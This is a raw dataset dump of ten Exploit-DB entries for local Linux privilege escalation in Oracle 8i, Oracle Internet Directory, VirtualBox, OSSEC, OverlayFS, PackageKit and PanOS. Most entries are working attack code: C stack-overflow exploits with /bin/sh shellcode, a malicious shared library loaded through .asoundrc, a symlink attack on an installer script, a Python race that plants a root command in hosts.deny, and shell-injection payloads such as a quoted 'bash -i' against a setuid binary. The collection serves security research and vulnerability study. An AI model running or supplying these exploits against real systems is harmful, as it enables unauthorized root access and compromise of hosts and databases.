deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20411
Description: Oracle 8.x - cmctl Buffer Overflow
Type: local
Platform: linux
Date: 2000-11-20
Author: anonymous

Exploit:
/*
source: https://www.securityfocus.com/bid/1968/info

cmctl is the Connection Control Manager, part of the Oracle 8i installation. A vulnerability exists that can allow elevation of privileges.

The problem occurs in the way cmctl handles the user-supplied command line arguments. The string representing argv[1] (the first user-supplied commandline argument) is copied into a buffer of predefined length without being checked to ensure that its length does not exceed the size of the destination buffer. As a result, the excessive data that is written to the buffer will write past its boundaries and overwrite other values on the stack (such as the return address). 

This can lead to the user executing supplied shellcode with the effective privileges of cmctl, egid dba and euid oracle.
*/


/*
Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH
6.2
and 6.1. Is possible to export to others platforms.

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in cmctl
Impact:   any user gain euid=oracle and egid=dba.


Dedicated to cmlc guys: juaroflin, oscar, ismak, blas, blackbas and
others.
Thanks for your patience and time.

Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales.
*/


#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                    1
#define DEFAULT_BUFFER_SIZE             350
#define NOP                            0x90
#define BINARY  "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl
echo $pakito"


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  if (argc > 1) offset  = atoi(argv[1]);
        else
                {
                printf("Use ./cmctl_start Offset\n");
                exit(1);
                }


  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
setenv("pakito",buff,1);

system(BINARY);
}
Exploit-DB #20312
Description: Oracle Internet Directory 2.0.6 - oidldap
Type: local
Platform: linux
Date: 2000-10-18
Author: Juan Manuel Pascual EscribÃ¡

Exploit:
// source: https://www.securityfocus.com/bid/1828/info

Oracle Internet Directory 2.0.6 is a pre-alpha development release, available as both an addon package and in the Oracle Database Software release 8.1.6. A vulnerability has been found in the oidldap binary within the package.

A buffer overflow exists in the oidldap binary, which is setuid oracle. When executed on the command line, the oidldap binary performs an unsafe check of the ORACLE_HOME environment variable. It is possible for a malicous user to execute shell code through the ORACLE_HOME environment variable, allowing the user to inherit an euid of oracle. In a stock installation of Oracle 8.1.6, this could create a scenario which would allow a local user to compromise the integrity of a database.

/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:   any user gain euid=oracle.


Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                   13
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME             "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}
Exploit-DB #41597
Description: Oracle VM VirtualBox - Cooperating VMs can Escape from Shared Folder
Type: local
Platform: linux
Date: 2017-03-13
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1037

There is a security issue in the shared folder implementation that
permits cooperating guests with write access to the same shared folder to
gain access to the whole filesystem of the host, at least on Linux hosts.

The issue is that, when the host checks whether a given path escapes the root
directory of the shared folder in vbsfPathCheckRootEscape(), the function
assumes that the directory hierarchy is static: E.g. the path
"base/a/b/c/../../.." is assumed to be equivalent to "base/a/b/../..",
"base/a/.." and "base". However, at least on Linux, renames can occur at the
same time as path traversal.

This means that, if VM A attempts to open "base/a/b/c/../../../foo" while
VM B is moving "base/a/b/c" to "base/c_", VM A might actually end up opening
"base/../../foo" instead of "base/foo".

To demonstrate the issue, on a Linux host with Virtualbox 5.1.10:

 - Place a file called "real_root_marker" in the root directory of the Linux
   host, containing some secret text. The VMs will attempt to obtain
   the contents of this file.

   root@host:/# echo "this is secret text in the host fs" > /real_root_marker

 - Create two Linux VMs with a shared writable folder.
 - In the VMs, install the guest extensions, with the attached patch
   vboxsf_new.patch applied.
 - In the VMs, ensure that the new vboxsf kernel module is loaded and that
   the shared folder is mounted.
 - In VM A, compile and run the attached file openspam.c:

   root@vmA:/media/sf_vboxshared# gcc -o openspam openspam.c -std=gnu99
   root@vmA:/media/sf_vboxshared# ./openspam
   entering directory...
   entered directory and prepared folders, racing...

 - In VM B, compile and run the attached file renamespam.c:

   root@vmB:/media/sf_vboxshared# gcc -o renamespam renamespam.c -std=gnu99
   root@vmB:/media/sf_vboxshared# ./renamespam

Now, in VM A, you should see the contents of the host's /real_root_marker
within seconds:

    SUCCESS
    this is secret text in the host fs
    EOF

Note: The exploit assumes that the shared folder isn't more than nine levels
away from the filesystem root.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41597.zip
Exploit-DB #41907
Description: Oracle VM VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config
Type: local
Platform: linux
Date: 2017-04-20
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1141

This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.

The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):


~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
*/

#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
	if (strcmp(program_invocation_short_name, "VirtualBox"))
		return;

	prctl(PR_SET_DUMPABLE, 1);
	printf("running in pid %d\n", getpid());
	printf("searching for vboxdrv file descriptor in current process...\n");
	char linkbuf[1000];
	char *needle = "/dev/vboxdrv";
	for (int i=0; i<1000; i++) {
		char linkpath[1000];
		sprintf(linkpath, "/proc/self/fd/%d", i);
		ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
		if (linklen == -1) continue;
		if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
			printf("found it, fd %d is /dev/vboxdrv\n", i);
		}
	}
	_exit(0);
}

/*
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vbox_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc


I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.

You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.

Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 r112924.
*/
Exploit-DB #19794
Description: Oracle8i Standard Edition 8.1.5 for Linux Installer - Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-03-05
Author: Keyser Soze

Exploit:
source: https://www.securityfocus.com/bid/1035/info

A vulnerability exists in the installation program for Oracle 8.1.5i. The Oracle installation scripts will create a directory named /tmp/orainstall, owned by oracle:dba, mode 711. Inside of this directory it will create a shell script named orainstRoot.sh, mode 777. The installation script will then stop and ask the person installing to run this script. The installation program at no point attempts to determine if the directory or script already exist. This makes it possible to create a symbolic link from the orainstRoot.sh file to elsewhere on the file system. This could be used to create a .rhosts file, for instance, and gain access to the root account. In addition, since the orainstRoot.sh file is mode 777, it is possible for any user on the machine to edit this script to execute arbitrary commands when run by root. Again, this can result in the compromise of the root account.

It is not readily apparent what versions of Oracle this does and does not affect. It has been confirmed on Oracle 8.1.5i, on the Linux/Intel platform. 

mkdir /tmp/orainstall
ln -sf /.rhosts /tmp/orainstall/orainstRoot.sh
Exploit-DB #37265
Description: OSSEC 2.7 < 2.8.1 - 'diff' Local Privilege Escalation
Type: local
Platform: linux
Date: 2015-06-11
Author: Andrew Widdersheim

Exploit:
Fix for CVE-2015-3222 which allows for root escalation via syscheck - https://github.com/ossec/ossec-hids/releases/tag/2.8.2

Affected versions: 2.7 - 2.8.1

Beginning is OSSEC 2.7 (d88cf1c9) a feature was added to syscheck, which
is the daemon that monitors file changes on a system, called
"report_changes". This feature is only available on *NIX systems. It's
purpose is to help determine what about a file has changed. The logic to
do accomplish this is as follows which can be found in
src/syscheck/seechanges.c:

252 /* Run diff */
253 date_of_change = File_DateofChange(old_location);
254 snprintf(diff_cmd, 2048, "diff \"%s\" \"%s\"> \"%s/local/%s/diff.%d\" "
255     "2>/dev/null",
256     tmp_location, old_location,
257     DIFF_DIR_PATH, filename + 1, (int)date_of_change);
258 if (system(diff_cmd) != 256) {
259     merror("%s: ERROR: Unable to run diff for %s",
260            ARGV0,  filename);
261     return (NULL);
262 }

Above, on line 258, the system() call is used to shell out to the
system's "diff" command. The raw filename is passed in as an argument
which presents an attacker with the possibility to run arbitrary code.
Since the syscheck daemon runs as the root user so it can inspect any
file on the system for changes, any code run using this vulnerability
will also be run as the root user.

An example attack might be creating a file called "foo-$(touch bar)"
which should create another file "bar".

Again, this vulnerability exists only on *NIX systems and is contingent
on the following criteria:

1. A vulnerable version is in use.
2. The OSSEC agent is configured to use syscheck to monitor the file
system for changes.
3. The list of directories monitored by syscheck includes those writable
by underprivileged users.
4. The "report_changes" option is enabled for any of those directories.

The fix for this is to create temporary trusted file names that symlink
back to the original files before calling system() and running the
system's "diff" command.
Exploit-DB #35234
Description: OSSEC 2.8 - 'hosts.deny' Local Privilege Escalation
Type: local
Platform: linux
Date: 2014-11-14
Author: skynet-13

Exploit:
#!/usr/bin/python
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
# Date: 14-11-14
# Exploit Author: skynet-13
# Vendor Homepage: www.ossec.net/
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
# Version: OSSEC  - 2.8
# Tested on: Ubunutu x86_64
# CVE : 2014-5284

# Created from Research by
# Jeff Petersen
# Roka Security LLC
# jpetersen@rokasecurity.com
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1

# Run this on target machine and follow instructions to execute command as root

from twisted.internet import inotify
from twisted.python import filepath
from twisted.internet import reactor
import os
import optparse
import signal


class HostDenyExploiter(object):

    def __init__(self, path_to_watch, cmd):
        self.path = path_to_watch
        self.notifier = inotify.INotify()
        self.exploit = cmd

    def create_files(self):
        print "=============================================="
        print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."

        for i in range(300, 65536):
            filename = "/tmp/hosts.deny.%s" % i
            f = open(filename, 'w')
            f.write("")
            f.close()

    def watch_files(self):
        print "=============================================="
        print "Monitoring tmp for file change...."
        print "ssh into the system a few times with an incorrect password"
        print "Then wait for up to 10 mins"
        print "=============================================="
        self.notifier.startReading()
        self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])

    def write_exploit_to_file(self, path):
        print 'Writing exploit to this file'
        f = open(str(path).split("'")[1], 'w')
        f.write(' sshd : ALL : twist %s \n' % self.exploit)
        f.close()
        print "=============================================="
        print " ssh in again to execute the command"
        print "=============================================="
        print "               End Prog."
        os.kill(os.getpid(), signal.SIGUSR1)

    def on_file_change(self, watch, path, mask):
        print 'File: ', str(path).split("'")[1], ' has just been modified'
        self.notifier.stopReading()
        self.write_exploit_to_file(path)


if __name__ == '__main__':
    parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
    parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
    (options, args) = parser.parse_args()
    cmd = options.cmd
    if options.cmd is None:
        print parser.usage
        exit(0)
    ex = HostDenyExploiter('/tmp', cmd)
    ex.create_files()
    ex.watch_files()
    reactor.run()
    exit(0)
Exploit-DB #36571
Description: OverlayFS inode Security Checks - 'inode.c' Local Security Bypass
Type: local
Platform: linux
Date: 2012-01-17
Author: Gary Poster

Exploit:
#source: https://www.securityfocus.com/bid/51529/info

#OverlayFS is prone to a local security-bypass vulnerability.

#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions. 



#!/bin/bash

ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
 echo "couldn't find devices cgroup mountpoint"
 exit 1
fi

# create new cgroup
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`

# create a directory onto which we mount the overlay
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`

# create the directory to be the overlay dir (where changes
# will be written)
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`

mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
# deny all device actions
echo a > $ndir/devices.deny
# but allow mknod of tty7, bc we have to mknod it in the writeable
# overlay
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"

# try writing to /dev/tty5 - not allowed
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"

# try writing to tty5 on the overlayfs - SHOULD not be allowed
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"

umount $odir
rmdir $odir
rm -rf $udir

# move ourselves back to root cgroup (else we can't delete the temp one
# bc it's occupied - by us)
echo $$ > $ddir/tasks
rmdir $ndir
Exploit-DB #48961
Description: PackageKit < 1.1.13 - File Existence Disclosure
Type: local
Platform: linux
Date: 2020-10-28
Author: Vaisha Bernard

Exploit:
# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/
# Software Link: https://www.freedesktop.org/software/PackageKit/
# Version: <= 1.1.1+bzr982-0ubuntu32.1
# Tested on: Ubuntu 20.04
#
#!/usr/bin/env python3
#
# Ubuntu 16.04 - 20.04 
# PackageKit <= 1.1.13-2ubuntu1
# Sensitive Information Disclosure
# 
#
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# The InstallFiles, GetFilesLocal and GetDetailsLocal methods 
# of the d-bus interface to PackageKit accesses given files 
# before checking for authorization. This allows non-privileged 
# users to learn the MIME type of any file on the system.
# 
# Example in attached Python script:
# 
# $ python3 test_file_exists_pk.py /root/.bashrc
# File exists and is of MIME type: 'text/plain'
# 
# $ python3 test_file_exists_pk.py /root/.bashrca
# File does not exist
#
#
import dbus
import os
import sys
import re

if len(sys.argv) != 2:
	print("Checks if file exists and returns MIME type")
	print("Usage: %s <file>")
	sys.exit(0)

FILE_TO_CHECK = sys.argv[1]

bus = dbus.SystemBus()
apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

try:
	apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])
	# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])
except dbus.exceptions.DBusException as e:
	if "No such file" in str(e):
		print("File does not exist")
	elif "MimeTypeNotSupported" in str(e):
		result = re.search('MIME type (.*) not supported', str(e))
		print("File exists and is of MIME type: " + result.group(1))
Exploit-DB #40789
Description: Palo Alto Networks PanOS - 'root_reboot' Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-11-18
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913
This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67

The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one:

.text:0804870F C7 44 24 04 78+                mov     dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "...
.text:08048717 89 04 24                       mov     [esp], eax      ; char **
.text:0804871A E8 0D FE FF FF                 call    _asprintf
.text:0804871F 8B 45 E8                       mov     eax, [ebp+new]
.text:08048722 85 C0                          test    eax, eax
.text:08048724 0F 84 B9 01 00+                jz      loc_80488E3
.text:0804872A 89 04 24                       mov     [esp], eax      ; command
.text:0804872D E8 9A FD FF FF                 call    _system

Which is trying to do this:

  if (setuid(0) < 0)
  {
    fprintf(stderr, "%s: Can't setuid to reboot system\n");
  }
  if (reason) {
   asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason);
   system(new);
   free(new);
  }

This is trivially exploitable, for example:


$ ls -l /usr/local/bin/root_reboot 
-rwsr-xr-x 1 root root 16275 Oct 17  2014 /usr/local/bin/root_reboot
$ root_reboot --restart '"; bash -i; echo "'
# id
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply:

https://securityadvisories.paloaltonetworks.com/Home/Detail/45

However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this:

$ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)